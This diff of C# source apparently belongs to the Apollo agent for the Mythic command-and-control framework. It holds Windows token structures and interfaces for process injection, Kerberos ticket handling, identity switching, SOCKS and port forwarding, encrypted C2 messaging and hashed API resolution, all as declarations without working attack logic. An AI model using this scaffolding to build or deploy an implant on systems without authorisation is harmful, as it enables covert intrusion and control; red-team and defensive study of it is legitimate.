public const uint STANDARD_RIGHTS_READ = 131072;
public const uint STANDARD_RIGHTS_WRITE = 131072;
public const uint STANDARD_RIGHTS_EXECUTE = 131072;
public const uint STANDARD_RIGHTS_REQUIRED = 983040;
public const uint STANDARD_RIGHTS_ALL = 2031616;
}
public struct OBJECT_ATTRIBUTES
{
public uint Length;
public HANDLE RootDirectory;
public HANDLE<UNICODE_STRING> ObjectName; // -> UNICODE_STRING HANDLE
public uint Attributes;
public HANDLE SecurityDescriptor;
public HANDLE SecurityQualityOfService;
}
[StructLayout(LayoutKind.Sequential)]
public record struct UNICODE_STRING
{
public ushort Length;
public ushort MaximumLength;
public HANDLE Buffer;
public UNICODE_STRING(string str)
{
Length = (ushort)((str.Length +1) * 2);
MaximumLength = Length;
Buffer = (HANDLE)Marshal.StringToHGlobalUni(str);
}
public override string ToString()
{
return Marshal.PtrToStringUni(Buffer);
}
}
public struct SID_AND_ATTRIBUTES
{
public HANDLE Sid;
public uint Attributes;
}
[StructLayout(LayoutKind.Sequential)]
public struct TOKEN_STATISTICS
{
public LUID TokenId;
public LUID AuthenticationId;
public ulong ExpirationTime;
public TOKEN_TYPE TokenType;
public SECURITY_IMPERSONATION_LEVEL ImpersonationLevel;
public uint DynamicCharged;
public uint DynamicAvailable;
public uint GroupCount;
public uint PrivilegeCount;
public LUID ModifiedId;
}
public struct TOKEN_GROUPS
{
public uint GroupCount;
public SID_AND_ATTRIBUTES Groups;
}
public record struct TOKEN_SOURCE
{
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public byte[] SourceName;
public LUID SourceIdentifier;
public TOKEN_SOURCE(string name)
{
SourceName = new byte[8];
Encoding.GetEncoding(1252).GetBytes(name, 0, name.Length, SourceName, 0);
}
}
public enum SECURITY_IMPERSONATION_LEVEL
{
SecurityAnonymous,
SecurityIdentification,
SecurityImpersonation,
SecurityDelegation
}
public enum TOKEN_TYPE
{
TokenPrimary = 1,
TokenImpersonation
}
}
@@ -0,0 +1,68 @@
using System.Threading;
using ApolloInterop.Features.KerberosTickets;
namespace ApolloInterop.Interfaces
{
public interface IAgent
{
// Start the agent.
void Start();
// Kill the agent.
void Exit();
// Set agent sleep
void SetSleep(int seconds, double jitter=0);
// Do sleep until a wait handle triggers
void Sleep(WaitHandle[] handles = null);
// Return if we're connected to Mythic or another peer
bool IsAlive();
// Return the current UUID of the agent.
string GetUUID();
// Set a new UUID of the agent.
void SetUUID(string newUUID);
// Lock standard handles of the agent.
void AcquireOutputLock();
// Release the lock on the standard handles of the agent.
void ReleaseOutputLock();
// Return the ITaskManager interface. Manages all aspects of tasking.
ITaskManager GetTaskManager();
// Return the IPeerManager interface. Manages connected P2P nodes.
IPeerManager GetPeerManager();
// Return the ISocksManager interface. Responsible for forwarding SOCKS packets.
ISocksManager GetSocksManager();
// Return the IRpfwdManager interface. Responsible for forwarding Rpfwd packets.
IRpfwdManager GetRpfwdManager();
// Return the IC2ProfileManager interface. Used to add, update, delete, or change C2 rotations.
IC2ProfileManager GetC2ProfileManager();
// Return the IFileManager interface. Used to get and push files to Mythic.
IFileManager GetFileManager();
// Return the IIdentityManager interface. Used for updating currently executing identity context.
IIdentityManager GetIdentityManager();
// Return IProcessManager interface. Used for creating new processes.
IProcessManager GetProcessManager();
// Return IInjectionManager interface. Used for managing how injection is performed and injecting into processes
IInjectionManager GetInjectionManager();
// Return ITicketManager interface. Used for managing Kerberos tickets.
ITicketManager GetTicketManager();
// Return IApi interface. Used for resolving native Win32 API calls, RSA cryptography, and otherwise.
IApi GetApi();
}
}
@@ -0,0 +1,21 @@
using ApolloInterop.Classes;
using System;
using ApolloInterop.Classes.Api;
namespace ApolloInterop.Interfaces
{
public interface IApi
{
T GetLibraryFunction<T>(Library library, string functionName, bool canLoadFromDisk = true, bool resolveForwards = true) where T : Delegate;
T GetLibraryFunction<T>(Library library, short ordinal, bool canLoadFromDisk = true, bool resolveForwards = true) where T : Delegate;
T GetLibraryFunction<T>(Library library, string functionHash, long key, bool canLoadFromDisk=true, bool resolveForwards = true) where T : Delegate;
string NewUUID();
RSAKeyGenerator NewRSAKeyPair(int szKey);
// Maybe other formats in the future?
ICryptographySerializer NewEncryptedJsonSerializer(string uuid, Type cryptoType, string key = "");
}
}
@@ -0,0 +1,25 @@
using ApolloInterop.Structs.MythicStructs;
using ApolloInterop.Types.Delegates;
using ApolloInterop.Enums.ApolloEnums;
namespace ApolloInterop.Interfaces
{
public interface IC2Profile
{
bool Connect(CheckinMessage checkinMessage, OnResponse<MessageResponse> onResp);
void Start();
bool Send<IMythicMessage>(IMythicMessage message);
bool SendRecv<T, TResult>(T message, OnResponse<TResult> onResponse);
bool Recv(MessageType mt, OnResponse<IMythicMessage> onResp);
// Basically tells the caller that this C2 profile is stateful,
// and as such it supports only the SendRecv operation.
bool IsOneWay();
bool IsConnected();
}
}
@@ -0,0 +1,13 @@
namespace ApolloInterop.Interfaces
{
public interface IC2ProfileManager
{
bool AddEgress(IC2Profile profile);
bool AddIngress(IC2Profile profile);
IC2Profile[] GetEgressCollection();
IC2Profile[] GetIngressCollection();
IC2Profile[] GetConnectedEgressCollection();
}
}
@@ -0,0 +1,9 @@
namespace ApolloInterop.Interfaces
{
public interface IChunkMessage
{
int GetChunkNumber();
int GetTotalChunks();
int GetChunkSize();
}
}
@@ -0,0 +1,8 @@
namespace ApolloInterop.Interfaces
{
public interface ICryptographicRoutine
{
byte[] Encrypt(byte[] data);
byte[] Decrypt(byte[] data);
}
}
@@ -0,0 +1,12 @@
namespace ApolloInterop.Interfaces
{
public interface ICryptography
{
string Encrypt(string plaintext);
string Decrypt(string encrypted);
bool UpdateUUID(string uuid);
bool UpdateKey(string key);
string GetUUID();
}
}
@@ -0,0 +1,10 @@
namespace ApolloInterop.Interfaces
{
public interface ICryptographySerializer : ISerializer
{
bool UpdateUUID(string uuid);
bool UpdateKey(string key);
string GetUUID();
}
}
@@ -0,0 +1,16 @@
namespace ApolloInterop.Interfaces
{
public interface IEncryptedFileStore
{
bool TryAddOrUpdate(string keyName, byte[] data);
bool TryGetValue(string keyName, out byte[] data);
string GetScript();
void SetScript(string script);
void SetScript(byte[] script);
string[] ListFiles();
bool RemoveFile(string keyName);
}
}

Some files were not shown because too many files have changed in this diff Show More